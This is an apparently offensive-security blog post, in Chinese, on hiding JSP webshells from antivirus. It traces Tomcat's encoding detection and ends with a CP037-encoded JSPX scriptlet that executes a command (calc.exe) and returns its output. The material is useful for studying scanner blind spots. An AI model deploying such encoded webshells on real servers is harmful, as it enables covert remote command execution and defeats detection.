[JavaWeb]利用JSP的編碼特性製作免殺後門

M發表於2022-01-23

利用JSP的編碼特性製作免殺後門

這裡是借鑑了Y4stacker師傅的thinkings

待解決的問題

  1. JSP解析
  2. JSP“亂碼”為什麼還能被識別
  3. “亂碼”的JSP在過濾時會被檢測到嗎?什麼原因?
  4. 為什麼“亂碼”可以用來做免殺?

JSP解析

image

其中EL等標記語言都是在jsp引擎中進行處理的,就是 識別+替換

image

JSP中的字串是怎麼被識別的?JSP“亂碼”為什麼還能被識別?

瞭解tomcat等伺服器執行機理的最好,不瞭解也沒關係,一步步來探究就行了。

  • 首先下載tomcat原始碼包(github、官網都有)

這裡下載的是8.5版本的

  • 設定pom,匯入依賴包
  • 建立專案,編譯執行

具體的過程,這裡就不再仔細寫了
image

開始除錯了

  • 直接開啟亂碼,需要手動載入下jsp解析器
    image

  • 直接訪問index.jsp
    伺服器端收到後,會先去work對應的目錄下找是否有快取,或者叫編譯好的檔案,有的話,直接用。沒有的話就要從index.jsp中讀,並解析編譯載入。

  • 找到檔案後,對檔案流先進行編碼探測
    image

這裡採用的探測方式是讀取前4個位元組的內容,然後進行判別

image

  • 這裡列出了支援的多種編碼
private BomResult parseBom(byte[] b4, int count) {
        if (count < 2) {
            return new BomResult("UTF-8", 0);
        }

        // UTF-16, with BOM
        int b0 = b4[0] & 0xFF;
        int b1 = b4[1] & 0xFF;
        if (b0 == 0xFE && b1 == 0xFF) {
            // UTF-16, big-endian
            return new BomResult("UTF-16BE", 2);
        }
        if (b0 == 0xFF && b1 == 0xFE) {
            // UTF-16, little-endian
            return new BomResult("UTF-16LE", 2);
        }

        // default to UTF-8 if we don't have enough bytes to make a
        // good determination of the encoding
        if (count < 3) {
            return new BomResult("UTF-8", 0);
        }

        // UTF-8 with a BOM
        int b2 = b4[2] & 0xFF;
        if (b0 == 0xEF && b1 == 0xBB && b2 == 0xBF) {
            return new BomResult("UTF-8", 3);
        }

        // default to UTF-8 if we don't have enough bytes to make a
        // good determination of the encoding
        if (count < 4) {
            return new BomResult("UTF-8", 0);
        }

        // Other encodings. No BOM. Try and ID encoding.
        int b3 = b4[3] & 0xFF;
        if (b0 == 0x00 && b1 == 0x00 && b2 == 0x00 && b3 == 0x3C) {
            // UCS-4, big endian (1234)
            return new BomResult("ISO-10646-UCS-4", 0);
        }
        if (b0 == 0x3C && b1 == 0x00 && b2 == 0x00 && b3 == 0x00) {
            // UCS-4, little endian (4321)
            return new BomResult("ISO-10646-UCS-4", 0);
        }
        if (b0 == 0x00 && b1 == 0x00 && b2 == 0x3C && b3 == 0x00) {
            // UCS-4, unusual octet order (2143)
            // REVISIT: What should this be?
            return new BomResult("ISO-10646-UCS-4", 0);
        }
        if (b0 == 0x00 && b1 == 0x3C && b2 == 0x00 && b3 == 0x00) {
            // UCS-4, unusual octet order (3412)
            // REVISIT: What should this be?
            return new BomResult("ISO-10646-UCS-4", 0);
        }
        if (b0 == 0x00 && b1 == 0x3C && b2 == 0x00 && b3 == 0x3F) {
            // UTF-16, big-endian, no BOM
            // (or could turn out to be UCS-2...
            // REVISIT: What should this be?
            return new BomResult("UTF-16BE", 0);
        }
        if (b0 == 0x3C && b1 == 0x00 && b2 == 0x3F && b3 == 0x00) {
            // UTF-16, little-endian, no BOM
            // (or could turn out to be UCS-2...
            return new BomResult("UTF-16LE", 0);
        }
        if (b0 == 0x4C && b1 == 0x6F && b2 == 0xA7 && b3 == 0x94) {
            // EBCDIC
            // a la xerces1, return CP037 instead of EBCDIC here
            return new BomResult("CP037", 0);
        }

        // default encoding
        return new BomResult("UTF-8", 0);
    }
  • 探測到檔案編碼方式後,開始進行jsp解析,後面的內容先不管,我們主要是來分析支援的編碼格式
    image

“亂碼”的JSP在過濾時會被檢測到嗎?什麼原因?

由上面的編碼解析可以知道,如果檔案採用的是規定的諸多編碼方式之一就可以被jsp解析器正常解析。解析器會先對流進行一個編碼探測,然後再進行編碼及解析。

為什麼“亂碼”可以用來做免殺?

這就和之前說的jsp免殺原理有些關聯。大部分的查殺軟體都是基於正規表示式進行匹配的,而對於一個檔案流,查殺軟體也比不可能對所有的編碼形式都進行一次轉換再來用正則匹配,這無疑會佔據較高效能。所以如果使用了偏門的編碼,查殺檔案無法解析,但jsp解析器能正常解析,就達到免殺的目的。

直接開始實踐

這裡用最奇怪的“CP037”進行編碼。
CP037要求的格式是前四個位元組需要滿足對應的關係
image

這裡採用了Y4tacker師傅的用xml寫jsp,第一次知道還可以這麼操作。後來一想能用h5,就能用xml吧,畢竟兩者是相近的標記語言
這裡之所以判斷是xml檔案,是因為位元組流經過cp037解碼後是<?xm。所以如果採用其他的編碼方式,應該先用對應的編碼方式進行解碼操作,判斷指定字串。

寫的時候出現了兩個問題

  1. 格式不對。xml格式要求嚴格,必須按照要求來。不然很容易就報錯,無法解析
  2. 跟邏輯的時候,只跟了test.jsp,後面發現根本不被解析,然後發現是因為有個字尾判斷,要求字尾名為jspx或tagx
    image

Ending

image

<?xml version="1.0" encoding="cp037" ?>
<jsp:root version="1.2" xmlns:jsp="http://java.sun.com/JSP/Page">
    <jsp:directive.page contentType="text/html"/>
    <jsp:directive.page import="java.io.*"/>
    <jsp:declaration>
    </jsp:declaration>
    <jsp:scriptlet>
        Process process = Runtime.getRuntime().exec("calc.exe");
        BufferedReader in = new BufferedReader(new InputStreamReader(process.getInputStream()));
        String line = "";
        while((line=in.readLine())!=null){
            out.write(line+"\n");
        }
    </jsp:scriptlet>
    <jsp:text>
    </jsp:text>
</jsp:root>

先將程式碼用python進行cp037編碼,再載入到web中

相關文章